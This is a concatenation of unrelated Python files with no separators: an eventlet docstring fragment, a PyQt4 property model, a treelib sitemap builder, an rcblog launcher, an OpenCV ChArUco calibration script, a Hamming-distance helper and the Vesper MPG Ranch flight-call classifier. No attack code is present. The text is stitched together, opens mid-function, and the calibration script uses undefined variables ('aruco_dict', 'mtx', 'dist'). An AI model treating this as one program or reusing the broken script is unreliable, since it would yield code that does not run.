evt.send_exception(*sys.exc_info()) ... >>> evt.wait() Traceback (most recent call last): File "<stdin>", line 1, in <module> File "eventlet/event.py", line 120, in wait current.throw(*self._exc) File "<stdin>", line 2, in <module> RuntimeError Note that doing so stores a traceback object directly on the Event object, which may cause reference cycles. See the :func:`sys.exc_info` documentation. """ # the arguments and the same as for greenlet.throw return self.send(None, args)
from PyQt4 import QtCore, QtGui from components.propertyeditor.Property import Property from components.RestrictFileDialog import RestrictFileDialog from PyQt4.QtCore import * from PyQt4.QtGui import * import sys, os class QPropertyModel(QtCore.QAbstractItemModel): def __init__(self, parent): super(QPropertyModel, self).__init__(parent) self.rootItem = Property("Root", "Root", 0, None); def index (self, row, column, parent): parentItem = self.rootItem; if (parent.isValid()): parentItem = parent.internalPointer() if (row >= parentItem.childCount() or row < 0): return QtCore.QModelIndex(); return self.createIndex(row, column, parentItem.child(row)) def getIndexForNode(self, node): return self.createIndex(node.row(), 1, node) def getPropItem(self, name, parent=None): if(parent == None): parent = self.rootItem for item in parent.childItems: if(item.name == name): return item return None def headerData (self, section, orientation, role) : if (orientation == QtCore.Qt.Horizontal and role == QtCore.Qt.DisplayRole) : if (section == 0) : return "Property" elif (section == 1) : return "Value" return None # QtCore.QVariant(); def flags (self, index ): if (not index.isValid()): return QtCore.Qt.ItemIsEnabled; item = index.internalPointer(); if (index.column() == 0): return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable # only allow change of value attribute if (item.isRoot()): return QtCore.Qt.ItemIsEnabled; elif (item.readOnly): return QtCore.Qt.ItemIsDragEnabled else: return QtCore.Qt.ItemIsDragEnabled | QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsEditable; def parent(self, index): if not index.isValid(): return QtCore.QModelIndex() childItem = index.internalPointer() parentItem = childItem.parentItem if parentItem == None or parentItem == self.rootItem: return QtCore.QModelIndex() return self.createIndex(parentItem.childCount(), 0, parentItem) def rowCount ( self, parent ): parentItem = self.rootItem; if (parent.isValid()): parentItem = parent.internalPointer() return len(parentItem.childItems) def columnCount (self, parent): return 2 def data (self, index, role): if (not index.isValid()): return None item = index.internalPointer() if(item.editor_type == Property.IMAGE_EDITOR): if (index.column() == 0) and ( role == QtCore.Qt.ToolTipRole or role == QtCore.Qt.DecorationRole or role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole): return item.label.replace('_', ' '); if (index.column() == 1): if(role == QtCore.Qt.DecorationRole): if(item.value['icon'] != None and not item.value['icon'].isNull()): return item.value['icon'].scaled(18, 18) else: return None if(role == QtCore.Qt.DisplayRole): return item.value['url'] if(role == QtCore.Qt.EditRole): return item.value else: if(role == QtCore.Qt.ToolTipRole or role == QtCore.Qt.DecorationRole or role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole): if (index.column() == 0): return item.label.replace('_', ' '); if (index.column() == 1): return item.value if(role == QtCore.Qt.BackgroundRole): if (item.isRoot()): return QtGui.QApplication.palette("QTreeView").brush(QtGui.QPalette.Normal, QtGui.QPalette.Button).color(); return None def getItem(self, index): if index.isValid(): item = index.internalPointer() if item: return item return self.rootItem def insertRows(self, position, rows, parent=QtCore.QModelIndex()): parentItem = self.getItem(parent) self.beginInsertRows(parent, position, position + rows - 1) for row in range(rows): success = parentItem.insertChild(position+row) != None self.endInsertRows() return success def removeRows(self, position, rows, parent=QtCore.QModelIndex()): parentItem = self.getItem(parent) self.beginRemoveRows(parent, position, position + rows - 1) success = parentItem.removeChildren(position, rows) self.endRemoveRows() return success # edit methods def setData(self, index, value, role = QtCore.Qt.EditRole): if (index.isValid() and role == Qt.EditRole): item = index.internalPointer() item.setValue(value) self.dataChanged.emit(index, index) return True; return False def import_module_from_file(self, full_path_to_module): """ Import a module given the full path/filename of the .py file Python 3.4 """ module = None # Get module name and path from full path module_dir, module_file = os.path.split(full_path_to_module) module_name, module_ext = os.path.splitext(module_file) if(sys.version_info >= (3,4)): import importlib # Get module "spec" from filename spec = importlib.util.spec_from_file_location(module_name,full_path_to_module) module = spec.loader.load_module() else: import imp module = imp.load_source(module_name,full_path_to_module) return module def getModuleFuncList(self, module_name): import inspect func_list = [] if(module_name != ''): try: module_name = os.getcwd() + '\\' + module_name module = self.import_module_from_file(module_name) all_functions = inspect.getmembers(module, inspect.isfunction) for function in all_functions: func_list.append(function[0]) except: pass return func_list def getModuleName(self, editor): module_name = QFileDialog.getOpenFileName(None, 'Open File', '.', "All file(*.*);;Python (*.py)") module_name = os.path.relpath(module_name, os.getcwd()) if (module_name == ''): return prop_root = self.getPropItem('properties') module_name_prop= self.getPropItem('module_name', prop_root) module_name_prop.setValue(module_name) module_name_index = self.getIndexForNode(module_name_prop) self.dataChanged.emit(module_name_index, module_name_index) function_name_prop= self.getPropItem('function_name', prop_root) function_name_prop.editor_type = Property.COMBO_BOX_EDITOR function_name_prop.editor_data = self.getModuleFuncList(module_name) function_name_index = self.getIndexForNode(function_name_prop) self.dataChanged.emit(function_name_index, function_name_index)
""" Sitemap builder """ import json, os from treelib import Tree from optimus.conf import settings class SitemapError(Exception): pass class PageSitemap(object): """ Construct ressource page to build and published sitemap """ def __init__(self, tree, view, with_root=False): self.tree = json.loads(tree.to_json(with_data=True)) self.view = view self.with_root = with_root # For public sitemap # Public sitemap self.sitemap = self.get_public_sitemap(self.tree) # Store a flat list of every ressources to build as pages self.ressources = self.recursive_ressources([self.tree]) def get_public_sitemap(self, tree): """ Return a list of sitemap nodes If 'PageSitemap.with_root' is False, return only root children nodes, else return the full dict containing root node. """ if not self.with_root: return tree['root']['children'] return [tree] def recursive_ressources(self, children, pages=[]): """ Return a flat ressources list from given children """ for branch in children: for leaf_name, leaf_content in branch.items(): datas = leaf_content['data'] pages.append(self.view( title=leaf_name, template_name=datas['link'], destination=datas['link'], sitemap=self.sitemap, )) if datas['is_dir']: pages = self.recursive_ressources(leaf_content['children']) return pages def tree_from_directory_structure(scanned_path, base_path=None): """ Scan given "scanned_path" path to find every HTML page file to build sitemap. Assume you want to use templates file names as ressource filename url. * Filenames and directory starting with "_" are ignored; * Expect an "index.html" file in each directory (except ignored ones) which will take the directory name; Return a treelib.Tree of finded pages """ tree = Tree() tree.create_node("root", "root", data={ 'id': "root", 'link': 'index.html', 'is_dir': True, }) if base_path is None: base_path = scanned_path for root, dirs, files in os.walk(scanned_path): # Current relative dir from demos dir relative_dir = os.path.relpath(root, base_path) if not relative_dir.startswith('_'): if relative_dir == '.': parent = None current_dir = "root" dir_name = "Root" else: dir_name = os.path.basename(relative_dir) current_dir = relative_dir # Resolve parent tag parent = "/".join(os.path.split(relative_dir)[:-1]) if not parent: parent = "root" # Add directory node tree.create_node(dir_name.replace('_', ' '), current_dir, parent=parent, data={ 'id': current_dir, 'link': os.path.join(relative_dir, 'index.html'), 'is_dir': True, }) #print "dir_name:{dir_name} | current_dir:{current_dir} | relative_dir:{relative_dir} | parent:{parent}".format( #dir_name=dir_name, current_dir=current_dir, relative_dir=relative_dir, parent=parent) # Recursive find templates in dirs for item in files: if not item.startswith('_') and item != 'index.html': # Get filepath relative to root, remove leading './' filepath = os.path.join(relative_dir, item) if filepath.startswith('./'): filepath = filepath[2:] # Build unique tag identifier tag = filepath #print " * file:{filename} | tag:{tag} | parent:{parent}".format(filename=item, tag=tag, parent=current_dir) # Make title head, tail = os.path.splitext(item) title = head.replace('_', ' ') # Add file node to current directory node tree.create_node(title, tag, parent=current_dir, data={ 'id': tag, 'link': filepath, 'is_dir': False, }) #print return tree
import rcblog if __name__ == '__main__': rcblog.main()
""" calibrateCamera2.py: """ import cv2 import numpy as np def draw_axis(img, charuco_corners, charuco_ids, board): vecs = np.load("./calib.npz") # I already calibrated the camera mtx, dist, _, _ = [vecs[i] for i in ('mtx', 'dist', 'rvecs', 'tvecs')] ret, rvec, tvec = cv2.aruco.estimatePoseCharucoBoard( charuco_corners, charuco_ids, board, mtx, dist) if ret is not None and ret is True: cv2.aruco.drawAxis(img, mtx, dist, rvec, tvec, 0.1) def get_image(camera): ret, img = camera.read() return img def make_grayscale(img): ret = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return ret def main(): camera = cv2.VideoCapture(0) img = get_image(camera) while True: cv2.imshow('calibration', img) cv2.waitKey(10) img = get_image(camera) gray = make_grayscale(img) corners, ids, rejected = cv2.aruco.detectMarkers(gray, aruco_dict, corners, ids) cv2.aruco.drawDetectedMarkers(img, corners, ids) if ids is not None and corners is not None \ and len(ids) > 0 and len(ids) == len(corners): diamond_corners, diamond_ids = \ cv2.aruco.detectCharucoDiamond(img, corners, ids, 0.05 / 0.03, cameraMatrix=mtx, distCoeffs=dist) cv2.aruco.drawDetectedDiamonds(img, diamond_corners, diamond_ids) '''if diamond_ids is not None and len(diamond_ids) >= 4: break''' board = cv2.aruco.CharucoBoard_create(9, 6, 0.05, 0.03, aruco_dict) if diamond_corners is not None and diamond_ids is not None \ and len(diamond_corners) == len(diamond_ids): count, char_corners, char_ids = \ cv2.aruco.interpolateCornersCharuco(diamond_corners, diamond_ids, gray, board) if count >= 3: draw_axis(img, char_corners, char_ids, board) if __name__ == '__main__': main()
def hamming_distance(bytes1, bytes2): distance = 0 for b1, b2 in zip(bytes1, bytes2): xored = b1^b2 distance += sum(1 for n in range(8) if (xored >> n) & 0x01) return distance
""" Module containing MPG Ranch NFC coarse classifier, version 3.1. An NFC coarse classifier classifies an unclassified clip as a `'Call'` if it appears to be a nocturnal flight call, or as a `'Noise'` otherwise. It does not classify a clip that has already been classified, whether manually or automatically. This classifier uses the same model as version 3.0, which was developed for TensorFlow 1, but updated for TensorFlow 2. The two classifiers were compared by running both on 16429 clips created by the Old Bird Thrush Detector Redux 1.1 and 22505 clips created by the Old Bird Tseep Detector Redux 1.1 from 17 nights of recordings made in Ithaca, NY from 2021-04-03 through 2021-04-19. The older classifier ran with TensorFlow 1.15.5 and the newer one with TensorFlow 2.5.0rc1. The two classifiers labeled the clips exactly the same. 1711 thrush clips were labeled as calls and the others as noises, and 2636 tseep clips were labeled as calls and the others as noises. """ from collections import defaultdict import logging import numpy as np import resampy import tensorflow as tf from vesper.command.annotator import Annotator from vesper.django.app.models import AnnotationInfo from vesper.singleton.clip_manager import clip_manager from vesper.util.settings import Settings import vesper.django.app.model_utils as model_utils import vesper.mpg_ranch.nfc_coarse_classifier_3_1.classifier_utils as \ classifier_utils import vesper.mpg_ranch.nfc_coarse_classifier_3_1.dataset_utils as \ dataset_utils import vesper.util.open_mp_utils as open_mp_utils import vesper.util.signal_utils as signal_utils import vesper.util.yaml_utils as yaml_utils _EVALUATION_MODE_ENABLED = False ''' This classifier can run in one of two modes, *normal mode* and *evaluation mode*. In normal mode, it annotates only unclassified clips, assigning to each a "Classification" annotation value or either "Call" or "Noise". In evaluation mode, the classifier classifies every clip whose clip type (e.g. "Tseep" or "Thrush") it recognizes and that already has a classification that is "Noise" or starts with "Call" or "XCall". The new classification is a function of both the existing classification and the *normal classification* that the classifier would assign to the clip in normal mode if it had no existing classification. The new classifications are as follows (where the classification pairs are (existing classification, normal classification)): (Noise, Noise) -> Noise (i.e. no change) (Noise, Call) -> FP (Call*, Call) -> Call* (i.e. no change) (Call*, Noise) -> FN* (i.e. only coarse part changes) (XCall*, Call) -> XCallP* (i.e. only coarse part changes) (XCall*, Noise) -> XCallN* (i.e. only coarse part changes) This reclassifies clips for which the normal classification differs from the existing classification in such a way that important sets of clips (i.e. false positives, false negatives, excluded call positives, and excluded call negatives) can subsequently be viewed in clip albums. ''' class Classifier(Annotator): extension_name = 'MPG Ranch NFC Coarse Classifier 3.1' def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) open_mp_utils.work_around_multiple_copies_issue() # Suppress TensorFlow INFO and DEBUG log messages. logging.getLogger('tensorflow').setLevel(logging.WARN) self._classifiers = dict( (t, _Classifier(t)) for t in ('Tseep', 'Thrush')) if _EVALUATION_MODE_ENABLED: self._score_annotation_info = \ AnnotationInfo.objects.get(name='Score') def annotate_clips(self, clips): """Annotates the specified clips with the appropriate classifiers.""" clip_lists = self._get_clip_lists(clips) num_clips_classified = 0 for clip_type, clips in clip_lists.items(): classifier = self._classifiers.get(clip_type) if classifier is not None: # have classifier for this clip type num_clips_classified += self._annotate_clips(clips, classifier) return num_clips_classified def _get_clip_lists(self, clips): """Gets a mapping from clip types to lists of clips to classify.""" clip_lists = defaultdict(list) for clip in clips: if _EVALUATION_MODE_ENABLED or \ self._get_annotation_value(clip) is None: # clip should be classified clip_type = model_utils.get_clip_type(clip) clip_lists[clip_type].append(clip) return clip_lists def _annotate_clips(self, clips, classifier): """Annotates the specified clips with the specified classifier.""" num_clips_classified = 0 triples = classifier.classify_clips(clips) # if _EVALUATION_MODE_ENABLED and len(triples) > 0: # self._show_classification_errors(triples) for clip, auto_classification, score in triples: if auto_classification is not None: if _EVALUATION_MODE_ENABLED: old_classification = self._get_annotation_value(clip) new_classification = self._get_new_classification( old_classification, auto_classification) if new_classification is not None: self._annotate(clip, new_classification) num_clips_classified += 1 self._set_clip_score(clip, score) else: # normal mode self._annotate(clip, auto_classification) num_clips_classified += 1 return num_clips_classified def _get_new_classification(self, old_classification, auto_classification): old = old_classification auto = auto_classification if old is None: return None elif old.startswith('Call') and auto == 'Noise': return 'FN' + old[len('Call'):] elif old == 'Noise' and auto == 'Call': return 'FP' elif old.startswith('XCall') and auto == 'Noise': return 'XCallN' + old_classification[len('XCall'):] elif old.startswith('XCall') and auto == 'Call': return 'XCallP' + old_classification[len('XCall'):] else: return None def _set_clip_score(self, clip, score): value = '{:.3f}'.format(score) model_utils.annotate_clip( clip, self._score_annotation_info, value, creating_user=self._creating_user, creating_job=self._creating_job, creating_processor=self._creating_processor) def _show_classification_errors(self, triples): num_positives = 0 num_negatives = 0 false_positives = [] false_negatives = [] for i, (clip, new_classification, score) in enumerate(triples): old_classification = self._get_annotation_value(clip) if old_classification.startswith('Call'): num_positives += 1 if new_classification == 'Noise': false_negatives.append( (i, old_classification, new_classification, score)) else: # old classification does not start with 'Call' num_negatives += 1 if new_classification == 'Call': false_positives.append( (i, old_classification, new_classification, score)) num_clips = len(triples) logging.info('Classified {} clips.'.format(num_clips)) self._show_classification_errors_aux( 'calls', false_negatives, num_positives) self._show_classification_errors_aux( 'non-calls', false_positives, num_negatives) num_errors = len(false_positives) + len(false_negatives) accuracy = 100 * (1 - num_errors / num_clips) logging.info( 'The overall accuracy was {:.1f} percent.'.format(accuracy)) def _show_classification_errors_aux(self, category, errors, num_clips): num_errors = len(errors) percent = 100 * num_errors / num_clips logging.info(( '{} of {} {} ({:.1f} percent) where incorrectly ' 'classified:').format(num_errors, num_clips, category, percent)) for i, old_classification, new_classification, score in errors: logging.info( ' {} {} -> {} {}'.format( i, old_classification, new_classification, score)) class _Classifier: def __init__(self, clip_type): self.clip_type = clip_type self._model = self._load_model() self._settings = self._load_settings() # Configure waveform slicing. s = self._settings fs = s.waveform_sample_rate s2f = signal_utils.seconds_to_frames self._waveform_start_time = \ s.waveform_start_time + s.inference_waveform_start_time_offset self._waveform_duration = s.waveform_duration self._waveform_length = s2f(self._waveform_duration, fs) self._classification_threshold = \ self._settings.classification_threshold def _load_model(self): path = classifier_utils.get_keras_model_file_path(self.clip_type) logging.info(f'Loading classifier model from "{path}"...') return tf.keras.models.load_model(path) def _load_settings(self): path = classifier_utils.get_settings_file_path(self.clip_type) logging.info(f'Loading classifier settings from "{path}"...') text = path.read_text() d = yaml_utils.load(text) return Settings.create_from_dict(d) def classify_clips(self, clips): # logging.info('Collecting clip waveforms for scoring...') waveforms, indices = self._slice_clip_waveforms(clips) if len(waveforms) == 0: return [] else: # have at least one waveform slice to classify # Stack waveform slices to make 2-D NumPy array. self._waveforms = np.stack(waveforms) # logging.info('Scoring clip waveforms...') dataset = \ dataset_utils.create_spectrogram_dataset_from_waveforms_array( self._waveforms, dataset_utils.DATASET_MODE_INFERENCE, self._settings, batch_size=64, feature_name=self._settings.model_input_name) scores = self._model.predict(dataset).flatten() # logging.info('Classifying clips...') triples = [ self._classify_clip(i, score, clips) for i, score in zip(indices, scores)] return triples def _slice_clip_waveforms(self, clips): waveforms = [] indices = [] for i, clip in enumerate(clips): try: waveform = self._get_clip_samples(clip) except Exception as e: logging.warning(( 'Could not classify clip "{}", since its ' 'samples could not be obtained. Error message was: ' '{}').format(str(clip), str(e))) else: # got clip samples waveforms.append(waveform) indices.append(i) return waveforms, indices def _get_clip_samples(self, clip): clip_sample_rate = clip.sample_rate classifier_sample_rate = self._settings.waveform_sample_rate s2f = signal_utils.seconds_to_frames start_offset = s2f(self._waveform_start_time, clip_sample_rate) if clip_sample_rate != classifier_sample_rate: # need to resample # Get clip samples, including a millisecond of padding at # the end. I don't know what if any guarantees the # `resampy.resample` function offers about the relationship # between its input and output lengths, so we add the padding # to try to ensure that we don't wind up with too few samples # after resampling. length = s2f(self._waveform_duration + .001, clip_sample_rate) samples = clip_manager.get_samples( clip, start_offset=start_offset, length=length) # Resample clip samples to classifier sample rate. samples = resampy.resample( samples, clip_sample_rate, classifier_sample_rate) # Discard any extra trailing samples we wound up with. samples = samples[:self._waveform_length] if len(samples) < self._waveform_length: raise ValueError('Resampling produced too few samples.') else: # don't need to resample samples = clip_manager.get_samples( clip, start_offset=start_offset, length=self._waveform_length) return samples def _classify_clip(self, index, score, clips): if score >= self._classification_threshold: classification = 'Call' else: classification = 'Noise' return clips[index], classification, score